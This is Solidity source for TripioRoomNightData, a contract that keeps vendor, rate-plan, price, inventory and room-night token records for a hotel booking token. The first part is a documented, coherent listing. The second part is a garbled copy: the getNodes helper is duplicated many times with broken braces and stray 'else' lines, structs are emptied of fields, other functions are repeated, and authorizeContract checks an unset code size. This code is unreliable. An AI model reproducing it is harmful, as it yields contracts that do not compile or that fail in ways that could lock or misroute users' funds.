public
view
returns (bool) {
return vendors[_vendorId].ratePlanList.nodeExists(_rpid);
}
/**
* @dev Get orders of owner by page
* @param _owner The owner address
* @param _from The begin id of the node to get
* @param _limit The total nodes of one page
* @param _direction Direction to step in
* @return The order ids and the next id
*/
function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightOwners[_owner], _from, _limit, _direction);
}
/**
* @dev Get orders of vendor by page
* @param _owner The vendor address
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The order ids and the next id
*/
function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightVendors[_owner], _from, _limit, _direction);
}
/**
* @dev Get the token count of somebody
* @param _owner The owner of token
* @return The token count of `_owner`
*/
function balanceOf(address _owner)
public
view
returns(uint256) {
return roomNightOwners[_owner].length;
}
/**
* @dev Get rate plan ids of `_vendorId`
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The rate plan ids and the next id
*/
function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction);
}
/**
* @dev Get token ids
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The token ids and the next id
*/
function getTokens(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(tokenList, _from, _limit, _direction);
}
/**
* @dev Get token Info
* @param _tokenId The token id
* @return The token info(symbol, name, decimals)
*/
function getToken(uint256 _tokenId)
public
view
returns(string _symbol, string _name, uint8 _decimals, address _token) {
_token = tokenIndexToAddress[_tokenId];
TripioToken tripio = TripioToken(_token);
_symbol = tripio.symbol();
_name = tripio.name();
_decimals = tripio.decimals();
}
/**
* @dev Get vendor ids
* @param _from The begin id of the node to get
* @param _limit The total nodes of on page
* @param _direction Direction to step in
* @return The vendor ids and the next id
*/
function getVendors(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendorList, _from, _limit, _direction);
}
/**
* @dev Get the vendor infomation by vendorId
* @param _vendorId The vendor id
* @return The vendor infomation(name, vendor, timestamp, valid)
*/
function getVendor(uint256 _vendorId)
public
view
returns(string _name, address _vendor,uint256 _timestamp, bool _valid) {
_name = vendors[_vendorId].name;
_vendor = vendors[_vendorId].vendor;
_timestamp = vendors[_vendorId].timestamp;
_valid = vendors[_vendorId].valid;
}
/*************************************** SET ***************************************/
/**
* @dev Update base uri of token metadata
* @param _tokenBaseURI The base uri
*/
function updateTokenBaseURI(string _tokenBaseURI)
public
onlyOwnerOrAuthorizedContract {
tokenBaseURI = _tokenBaseURI;
}
/**
* @dev Push order to user's order list
* @param _owner The buyer address
* @param _rnid The room night order id
* @param _direction direction to step in
*/
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
/**
* @dev Remove order from owner's order list
* @param _owner The owner address
* @param _rnid The room night order id
*/
function removeOrderOfOwner(address _owner, uint _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightOwners[_owner].nodeExists(_rnid));
roomNightOwners[_owner].remove(_rnid);
}
/**
* @dev Push order to the vendor's order list
* @param _vendor The vendor address
* @param _rnid The room night order id
* @param _direction direction to step in
*/
function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
/**
* @dev Remove order from vendor's order list
* @param _vendor The vendor address
* @param _rnid The room night order id
*/
function removeOrderOfVendor(address _vendor, uint256 _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightVendors[_vendor].nodeExists(_rnid));
roomNightVendors[_vendor].remove(_rnid);
}
/**
* @dev Transfer token to somebody
* @param _tokenId The token id
* @param _to The target owner of the token
*/
function transferTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightIndexToOwner[_tokenId] = _to;
roomNightApprovals[_tokenId] = address(0);
}
/**
* @dev Approve `_to` to operate the `_tokenId`
* @param _tokenId The token id
* @param _to Somebody to be approved
*/
function approveTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightApprovals[_tokenId] = _to;
}
/**
* @dev Approve `_operator` to operate all the Token of `_to`
* @param _operator The operator to be approved
* @param _to The owner of tokens to be operate
* @param _approved Approved or not
*/
function approveOperatorTo(address _operator, address _to, bool _approved)
public
onlyOwnerOrAuthorizedContract {
operatorApprovals[_to][_operator] = _approved;
}
/**
* @dev Update base price of rate plan
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _tokenId The digital token id
* @param _price The price to be updated
*/
function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.init = true;
vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price;
}
/**
* @dev Update base inventory of rate plan
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _inventory The inventory to be updated
*/
function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory;
}
/**
* @dev Update price by `_vendorId`, `_rpid`, `_date`, `_tokenId` and `_price`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @param _price The price to be updated
*/
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
/**
* @dev Update inventory by `_vendorId`, `_rpid`, `_date`, `_inventory`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The inventory to be updated
*/
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
/**
* @dev Reduce inventories
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The amount to be reduced
*/
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
/**
* @dev Add inventories
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _inventory The amount to be add
*/
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
/**
* @dev Update inventory and price by `_vendorId`, `_rpid`, `_date`, `_tokenId`, `_price` and `_inventory`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _tokenId The digital token id
* @param _price The price to be updated
* @param _inventory The inventory to be updated
*/
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
} else {
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
/**
* @dev Push rate plan to `_vendorId`'s rate plan list
* @param _vendorId The vendor id
* @param _name The name of rate plan
* @param _ipfs The rate plan IPFS address
* @param _direction direction to step in
*/
function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));
uint256 id = vendors[_vendorId].ratePlanList.push(_direction);
vendors[_vendorId].ratePlans[id] = rp;
return id;
}
/**
* @dev Remove rate plan of `_vendorId` by `_rpid`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
*/
function removeRatePlan(uint256 _vendorId, uint256 _rpid)
public
onlyOwnerOrAuthorizedContract {
delete vendors[_vendorId].ratePlans[_rpid];
vendors[_vendorId].ratePlanList.remove(_rpid);
}
/**
* @dev Update `_rpid` of `_vendorId` by `_name` and `_ipfs`
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _name The rate plan name
* @param _ipfs The rate plan IPFS address
*/
function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs;
vendors[_vendorId].ratePlans[_rpid].name = _name;
}
/**
* @dev Push token contract to the token list
* @param _direction direction to step in
*/
function pushToken(address _contract, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = tokenList.push(_direction);
tokenIndexToAddress[id] = _contract;
return id;
}
/**
* @dev Remove token by `_tokenId`
* @param _tokenId The digital token id
*/
function removeToken(uint256 _tokenId)
public
onlyOwnerOrAuthorizedContract {
delete tokenIndexToAddress[_tokenId];
tokenList.remove(_tokenId);
}
/**
* @dev Generate room night token
* @param _vendorId The vendor id
* @param _rpid The rate plan id
* @param _date The date desc (20180723)
* @param _token The token id
* @param _price The token price
* @param _ipfs The rate plan IPFS address
*/
function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));
// Give the token to `_customer`
uint256 rnid = uint256(roomnights.length - 1);
return rnid;
}
/**
* @dev Update refund applications
* @param _buyer The room night token holder
* @param _rnid The room night token id
* @param _isRefund Is redund or not
*/
function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund)
public
onlyOwnerOrAuthorizedContract {
refundApplications[_buyer][_rnid] = _isRefund;
}
/**
* @dev Push vendor info to the vendor list
* @param _name The name of vendor
* @param _vendor The vendor address
* @param _direction direction to step in
*/
function pushVendor(string _name, address _vendor, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = vendorList.push(_direction);
vendorIds[_vendor] = id;
vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0));
return id;
}
/**
* @dev Remove vendor from vendor list
* @param _vendorId The vendor id
*/
function removeVendor(uint256 _vendorId)
public
onlyOwnerOrAuthorizedContract {
vendorList.remove(_vendorId);
address vendor = vendors[_vendorId].vendor;
vendorIds[vendor] = 0;
delete vendors[_vendorId];
}
/**
* @dev Make vendor valid or invalid
* @param _vendorId The vendor id
* @param _valid The vendor is valid or not
*/
function updateVendorValid(uint256 _vendorId, bool _valid)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].valid = _valid;
}
/**
* @dev Modify vendor's name
* @param _vendorId The vendor id
* @param _name Then vendor name
*/
function updateVendorName(uint256 _vendorId, string _name)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].name = _name;
}
} | Interface signature of erc165. bytes4(keccak256("supportsInterface(bytes4)")) Interface signature of erc721 metadata. bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("tokenURI(uint256)")); Interface signature of erc721. bytes4(keccak256("balanceOf(address)")) ^ bytes4(keccak256("ownerOf(uint256)")) ^ bytes4(keccak256("safeTransferFrom(address,address,uint256,bytes)")) ^ bytes4(keccak256("safeTransferFrom(address,address,uint256)")) ^ bytes4(keccak256("transferFrom(address,address,uint256)")) ^ bytes4(keccak256("approve(address,uint256)")) ^ bytes4(keccak256("setApprovalForAll(address,bool)")) ^ bytes4(keccak256("getApproved(uint256)")) ^ bytes4(keccak256("isApprovedForAll(address,address)")); Base URI of token asset Authorized contracts | contract TripioRoomNightData is Owned {
using LinkedListLib for LinkedListLib.LinkedList;
bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7;
bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd;
bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5;
string public tokenBaseURI;
struct AuthorizedContract {
string name;
address acontract;
}
mapping (address=>uint256) public authorizedContractIds;
mapping (uint256 => AuthorizedContract) public authorizedContracts;
LinkedListLib.LinkedList public authorizedContractList = LinkedListLib.LinkedList(0, 0);
struct Price {
mapping (uint256 => uint256) tokens;
}
struct RatePlan {
}
struct Vendor {
LinkedListLib.LinkedList ratePlanList;
mapping (uint256=>RatePlan) ratePlans;
}
mapping (address => uint256) public vendorIds;
mapping (uint256 => Vendor) vendors;
LinkedListLib.LinkedList public vendorList = LinkedListLib.LinkedList(0, 0);
LinkedListLib.LinkedList public tokenList = LinkedListLib.LinkedList(0, 0);
mapping (uint256 => address) public tokenIndexToAddress;
struct RoomNight {
uint256 vendorId;
uint256 rpid;
}
RoomNight[] public roomnights;
mapping (uint256 => address) public roomNightIndexToOwner;
mapping (address => LinkedListLib.LinkedList) public roomNightOwners;
mapping (address => LinkedListLib.LinkedList) public roomNightVendors;
mapping (uint256 => address) public roomNightApprovals;
mapping (address => mapping (address => bool)) public operatorApprovals;
mapping (address => mapping (uint256 => bool)) public refundApplications;
bytes4 constant public ERC721_RECEIVED = 0xf0b9e5ba;
event ContractAuthorized(address _contract);
event ContractDeauthorized(address _contract);
modifier authorizedContractValid(address _contract) {
require(authorizedContractIds[_contract] > 0);
_;
}
modifier authorizedContractIdValid(uint256 _cid) {
require(authorizedContractList.nodeExists(_cid));
_;
}
modifier onlyOwnerOrAuthorizedContract {
require(msg.sender == owner || authorizedContractIds[msg.sender] > 0);
_;
}
constructor() public {
roomnights.push(RoomNight(0, 0, 0, 0, 0, 0, 0));
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
}else {
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction)
private
view
returns (uint256[], uint256) {
bool exists;
uint256 i = 0;
uint256 ei = 0;
uint256 index = 0;
uint256 count = _limit;
if(count > self.length) {
count = self.length;
}
(exists, i) = self.getAdjacent(_node, _direction);
if(!exists || count == 0) {
return (new uint256[](0), 0);
uint256[] memory temp = new uint256[](count);
if(_node != 0) {
index++;
temp[0] = _node;
}
while (i != 0 && index < count) {
temp[index] = i;
(exists,i) = self.getAdjacent(i, _direction);
index++;
}
ei = i;
if(index < count) {
uint256[] memory result = new uint256[](index);
for(i = 0; i < index; i++) {
result[i] = temp[i];
}
return (result, ei);
return (temp, ei);
}
}
}
}else {
function authorizeContract(address _contract, string _name)
public
onlyOwner
returns(bool) {
uint256 codeSize;
require(codeSize != 0);
require(authorizedContractIds[_contract] == 0);
uint256 id = authorizedContractList.push(false);
authorizedContractIds[_contract] = id;
authorizedContracts[id] = AuthorizedContract(_name, _contract);
emit ContractAuthorized(_contract);
return true;
}
assembly { codeSize := extcodesize(_contract) }
function deauthorizeContract(address _contract)
public
onlyOwner
authorizedContractValid(_contract)
returns(bool) {
uint256 id = authorizedContractIds[_contract];
authorizedContractList.remove(id);
authorizedContractIds[_contract] = 0;
delete authorizedContracts[id];
emit ContractDeauthorized(_contract);
return true;
}
function deauthorizeContractById(uint256 _cid)
public
onlyOwner
authorizedContractIdValid(_cid)
returns(bool) {
address acontract = authorizedContracts[_cid].acontract;
authorizedContractList.remove(_cid);
authorizedContractIds[acontract] = 0;
delete authorizedContracts[_cid];
emit ContractDeauthorized(acontract);
return true;
}
function getAuthorizeContractIds(uint256 _from, uint256 _limit)
external
view
returns(uint256[], uint256){
return getNodes(authorizedContractList, _from, _limit, true);
}
function getAuthorizeContract(uint256 _cid)
external
view
returns(string _name, address _acontract) {
AuthorizedContract memory acontract = authorizedContracts[_cid];
_name = acontract.name;
_acontract = acontract.acontract;
}
function getRatePlan(uint256 _vendorId, uint256 _rpid)
public
view
returns (string _name, uint256 _timestamp, bytes32 _ipfs) {
_name = vendors[_vendorId].ratePlans[_rpid].name;
_timestamp = vendors[_vendorId].ratePlans[_rpid].timestamp;
_ipfs = vendors[_vendorId].ratePlans[_rpid].ipfs;
}
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId)
public
view
returns(uint16 _inventory, bool _init, uint256 _price) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
_price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
_price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
_init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
}
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
function getPrices(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _tokenId)
public
view
returns(uint16[] _inventories, uint256[] _prices) {
uint16[] memory inventories = new uint16[](_dates.length);
uint256[] memory prices = new uint256[](_dates.length);
uint256 date;
for(uint256 i = 0; i < _dates.length; i++) {
date = _dates[i];
uint16 inventory = vendors[_vendorId].ratePlans[_rpid].prices[date].inventory;
bool init = vendors[_vendorId].ratePlans[_rpid].prices[date].init;
uint256 price = vendors[_vendorId].ratePlans[_rpid].prices[date].tokens[_tokenId];
if(!init) {
inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];
init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;
}
inventories[i] = inventory;
prices[i] = price;
}
return (inventories, prices);
}
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
function getInventory(uint256 _vendorId, uint256 _rpid, uint256 _date)
public
view
returns(uint16 _inventory, bool _init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
_init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;
if(!_init) {
_inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
}
}
function ratePlanIsExist(uint256 _vendorId, uint256 _rpid)
public
view
returns (bool) {
return vendors[_vendorId].ratePlanList.nodeExists(_rpid);
}
function getOrdersOfOwner(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightOwners[_owner], _from, _limit, _direction);
}
function getOrdersOfVendor(address _owner, uint256 _from, uint256 _limit, bool _direction)
public
view
returns (uint256[], uint256) {
return getNodes(roomNightVendors[_owner], _from, _limit, _direction);
}
function balanceOf(address _owner)
public
view
returns(uint256) {
return roomNightOwners[_owner].length;
}
function getRatePlansOfVendor(uint256 _vendorId, uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendors[_vendorId].ratePlanList, _from, _limit, _direction);
}
function getTokens(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(tokenList, _from, _limit, _direction);
}
function getToken(uint256 _tokenId)
public
view
returns(string _symbol, string _name, uint8 _decimals, address _token) {
_token = tokenIndexToAddress[_tokenId];
TripioToken tripio = TripioToken(_token);
_symbol = tripio.symbol();
_name = tripio.name();
_decimals = tripio.decimals();
}
function getVendors(uint256 _from, uint256 _limit, bool _direction)
public
view
returns(uint256[], uint256) {
return getNodes(vendorList, _from, _limit, _direction);
}
function getVendor(uint256 _vendorId)
public
view
returns(string _name, address _vendor,uint256 _timestamp, bool _valid) {
_name = vendors[_vendorId].name;
_vendor = vendors[_vendorId].vendor;
_timestamp = vendors[_vendorId].timestamp;
_valid = vendors[_vendorId].valid;
}
function updateTokenBaseURI(string _tokenBaseURI)
public
onlyOwnerOrAuthorizedContract {
tokenBaseURI = _tokenBaseURI;
}
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
function pushOrderOfOwner(address _owner, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightOwners[_owner].listExists()) {
roomNightOwners[_owner] = LinkedListLib.LinkedList(0, 0);
}
roomNightOwners[_owner].add(_rnid, _direction);
}
function removeOrderOfOwner(address _owner, uint _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightOwners[_owner].nodeExists(_rnid));
roomNightOwners[_owner].remove(_rnid);
}
function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
